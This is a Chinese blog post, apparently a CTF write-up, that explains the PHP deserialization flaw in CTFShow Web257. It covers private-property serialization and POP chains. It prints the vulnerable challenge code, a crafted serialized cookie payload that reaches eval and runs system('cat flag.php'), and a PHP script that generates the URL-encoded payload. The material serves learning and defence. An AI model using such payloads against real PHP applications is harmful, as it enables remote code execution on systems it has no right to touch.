跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP

CTFShow Web257 PHP 反序列化漏洞分析与 Payload 构造

详细解析 CTFShow Web257 题目中的 PHP 反序列化漏洞。涵盖私有属性修饰符在序列化中的表现、魔术方法与 POP 链原理、以及 Payload 的构造方法。通过代码审计定位危险点(__destruct),利用 backDoor 类的 eval 函数实现 RCE。文章提供自动生成 Payload 的脚本示例,帮助初学者理解反序列化攻击路径及防御思路。

山野来信发布于 2026/4/6更新于 2026/9/567 浏览

一:前置知识

1.三种修饰符

修饰符类内部子类类外
public✅✅✅
protected✅✅❌
private✅❌❌

打勾代表能访问。在 PHP 里,不同权限的属性,序列化名字是不一样的:

属性定义序列化里的名字
public $aa
protected $a\0*\0a
private $a\0 类名\0a

例如之前构造的 payload:

O:11:"ctfShowUser":3:{ s:8:"username";s:6:"xxxxxx"; s:8:"password";s:6:"xxxxxx"; s:5:"isVip";b:1; }

可以看到是直接写 username 和 password,这是因为那时候的定义的时候用的是 public。

而在这里定义时用的则是 private,因此最前面要加上类名。

2.普通方法名

'普通方法名'= 程序员自己随便起的函数名字,比如 abc、getInfo 等。这里区别于 php 的魔术方法,这些是不能改动的:

  • __construct // 构造函数
  • __destruct // 析构函数
  • __wakeup
  • __toString

3.POP 链

**POP 链(Property-Oriented Programming)**是通过'控制对象的属性',利用已有类的魔术方法,在反序列化过程中自动执行危险代码。POP 链能存在的原因是因为有 unserialize() —— 自动创建对象和魔术方法 —— 自动执行。

基本结构:

一个完整的 POP 链是三段式:

[入口] → [传递] → [危险点]
class A { public $b; function __destruct() { $this->b->run(); } }
class B { public $c; function run() { eval($this->c); } }

我们需要的是 B 里面的 c 去执行 eval,但是 B 中没有任何魔术方法,而 POP 链中只有被程序自动调用的类才有机会去执行代码,因此我们要从 A 开始,构造的 payload 为:

O:1:"A":1:{ s:1:"b"; O:1:"B":1:{ s:1:"c"; s:10:"phpinfo();"; } }

这样一个 POP 链形式的序列化字符串就形成了。

二:具体题目

给的代码如下:

<?php
// =======================
// 用户类(POP 链的入口)
// =======================
class ctfShowUser{
    // 私有属性:用户名
    // ⚠️ private:外部不能直接访问
    // ⚠️ 反序列化时需要写成 \0ctfShowUser\0username
    private $username = 'xxxxxx';
    // 私有属性:密码
    private $password = 'xxxxxx';
    // 私有属性:是否 VIP
    private $isVip = false;
    // 私有属性:保存一个'对象'
    // 表面上是 info,实际上可以被反序列化替换
    private $class = 'info';
    
    // 构造函数
    public function __construct(){
        // 正常情况下:
        // 每次 new ctfShowUser(),都会把 $class 设成 info 对象
        $this->class = new info();
    }
    
    // 登录函数
    public function login($u, $p){
        // 只是做字符串比较
        // ❗ 返回值没有被 if 判断
        // ❗ 成功 or 失败都不影响后续流程
        return $this->username === $u && $this->password === $p;
    }
    
    // 析构函数(POP 链触发点)
    public function __destruct(){
        // ⚠️ 关键危险点
        // 程序'假设' $this->class 是 info 对象
        // 但攻击者可以把它换成 backDoor 对象
        $this->class->getInfo();
    }
}

// =======================
// 正常信息类(安全)
// =======================
class info{
    // 私有属性
    private $user = 'xxxxxx';
    // 普通方法
    public function getInfo(){
        // 只是返回字符串
        // ✔ 安全
        return $this->user;
    }
}

// =======================
// 后门类(危险 Gadget)
// =======================
class backDoor{
    // 私有属性:存放攻击者的代码
    private $code;
    // 与 info 同名的方法
    public function getInfo(){
        // ⚠️ 危险函数
        // $this->code 完全可控(通过反序列化)
        eval($this->code);
    }
}

// =======================
// 主程序逻辑
// =======================
// 从 GET 获取参数(字符串)
$username = $_GET['username'];
$password = $_GET['password'];
// 只要参数存在就进入 if
if (isset($username) && isset($password)) {
    // ⚠️ 致命漏洞
    // 直接反序列化用户可控的 Cookie
    // 且没有 allowed_classes 限制
    $user = unserialize($_COOKIE['user']);
    // 调用 login
    // ❗ login 成功与否不影响攻击
    $user->login($username, $password);
}
?>

这里就看到定义的时候用的是 private,那么后面我们构造序列化字符串时就要加上类名了。

然后这里有两个 getInfo,而 getInfo() 执行的内容,取决于当前对象是哪个类的对象,这里我们需要的是含有 eval 的那个 getInfo,所以我们要调用的就是 backDoor,因此这里构造的 payload 则为:

O:11:"ctfShowUser":1:{s:18:"\0ctfShowUser\0class";O:8:"backDoor":1:{s:14:"\0backDoor\0code";s:23:"system("cat flag.php");"}}

然后 URL 编码一下就可以了。

但是这里有个问题是我一个个手打过去很麻烦,可不可以编个程序跑一下,当然是可以的:

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code = "system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
echo urlencode(serialize(new ctfShowUser()));
?>

【其实这种序列化脚本还是挺简单的,照着题目给的改一下就行,都是公式化写法】

然后跑出来是这样的:

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

浏览器开发者工具里加个 cookie 写一下就行了,记得 get 传参的两个。

三:总结

通过这道题,其实我们并不是'学会了某一道 CTF 题',而是完整走了一遍 PHP 反序列化漏洞的学习路径。如果用一句话概括这类题目,那就是:

攻击者并不是在'执行代码',而是在'构造对象结构',程序自己会沿着既定逻辑把危险代码跑完。

下面从几个关键点来回顾。

1. private 并不是'防御',只是'增加构造难度'

在很多新人的直觉里,private 会让人觉得'更安全'。但在反序列化漏洞中:

  • private / protected / public 都可以被反序列化控制
  • 区别只在于:序列化字符串里字段名怎么写

真正要记住的是这张表:

属性类型序列化里的名字
publica
protected\0*\0a
private\0 类名\0a

所以这道题里:private $class; 必须写成:"\0ctfShowUser\0class"

private 不是挡住你,而是逼我们'写对格式'

2.普通方法名 ≠ 魔术方法,真正'自动执行'的只有魔术方法

像 getInfo()、run() 这种:

  • 只是 普通函数名
  • 不会自动执行
  • 必须有人去'调用它'

而真正关键的是这些 魔术方法:

__construct __destruct __wakeup __toString

在这道题里,真正触发整个 POP 链的只有一句:

public function __destruct(){ $this->class->getInfo(); }

也就是说:

不是 getInfo() 危险,而是'谁在什么时候调用了它'

3.POP 链的本质:不是'危险函数',而是'执行路径'

很多初学者会下意识去找:

  • eval
  • system
  • exec

但真正的分析顺序应该是:

  1. 程序一定会自动执行谁?
  2. 它会调用哪个属性 / 方法?
  3. 这个属性能不能被我替换成别的对象?
  4. 最终有没有走到危险函数?

所以一条标准 POP 链一定是:

入口(魔术方法) ↓ 中间对象(方法被调用) ↓ 危险点(eval / system)

在本题中对应关系是:

角色类
POP 链入口ctfShowUser::__destruct
中间桥梁$this->class->getInfo()
执行点backDoor::getInfo → eval()
4.为什么一定要'从 ctfShowUser 开始构造对象'

原因只有一句话:

只有被程序'自动调用'的类,才有机会执行代码

  • backDoor 里虽然有 eval
  • 但程序 从来不会自动调用 backDoor
  • 它只是一个'工具类'

所以 payload 的最外层 必须是 ctfShowUser,让程序在脚本结束时自动触发 __destruct(),再一步步把执行流程'引到 backDoor'。

5.手写 payload 很痛苦,用 PHP 自动生成才是正解

手打序列化字符串的问题在于:

  • private 字段容易写错
  • 字符串长度容易错
  • 嵌套对象非常反人类

而用 PHP 本身来生成 payload:

echo urlencode(serialize(new ctfShowUser()));

好处是:

  • PHP 自动帮我们处理 \0 类名\0 属性
  • 不用管字符串长度
  • 结构 100% 合法

这不是'偷懒',而是标准做法

6.这道题真正学到的东西

如果把这道题抽象掉细节,那么我们掌握的是:

  • PHP 类 / 对象 / 访问修饰符的基本语义
  • private 属性在反序列化中的表现形式
  • 魔术方法在 POP 链中的作用
  • 为什么'有 eval ≠ 能 RCE'
  • 如何从源码逆推出 payload 结构
  • 如何用脚本而不是手算生成 payload

这些能力是 可以迁移到绝大多数 PHP 反序列化题目中的。

目录

  1. 一:前置知识
  2. 1.三种修饰符
  3. 2.普通方法名
  4. 3.POP 链
  5. 二:具体题目
  6. 三:总结
  7. 1. private 并不是“防御”,只是“增加构造难度”
  8. 2.普通方法名 ≠ 魔术方法,真正“自动执行”的只有魔术方法
  9. 3.POP 链的本质:不是“危险函数”,而是“执行路径”
  10. 4.为什么一定要“从 ctfShowUser 开始构造对象”
  11. 5.手写 payload 很痛苦,用 PHP 自动生成才是正解
  12. 6.这道题真正学到的东西

更多推荐文章

查看全部
  • 大模型、RAG、Agent、知识库、向量数据库与知识图谱的区别及联系综述
  • KingbaseES 数据库智能 SQL 防护机制详解:原理、模式与性能实测
  • 美团龙猫大模型 LongCat-Flash-Chat 快速入门
  • 前端拖拽排序实现详解:从原理到实践 - 附完整代码
  • 基于上下文工程的长篇小说章节生成方法研究
  • OpenClaw 本地部署与 QQ 机器人接入教程
  • 前端 WebSocket 实时通信实战:连接管理与最佳实践
  • ESPHome 本地部署及外网访问指南(Linux)
  • AI 辅助 FPGA 开发:Vivado 配置与智能编程实践
  • 大语言模型技术综述:利用、评估与应用方向
  • 知网与维普 AIGC 检测算法对比分析
  • AI 小说生成器:基于大语言模型的长篇小说创作工具
  • Python 核心语法与实战入门
  • Python 3.14 环境下 PyAudio 安装全指南:解决兼容性与依赖问题
  • Pi Coding Agent 编码工具架构模式解析
  • IntelliJ IDEA 接入 AI 编程助手:Copilot、DeepSeek 与 GPT-4o Mini
  • 影刀 RPA 完全指南:从零入门到自动化实践
  • Pygame 游戏开发完整流程与实战解析
  • uv 与 conda 对比:Python 环境管理工具选型指南
  • 企业级 AI 智能客服系统的架构设计与实现

相关免费在线工具

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online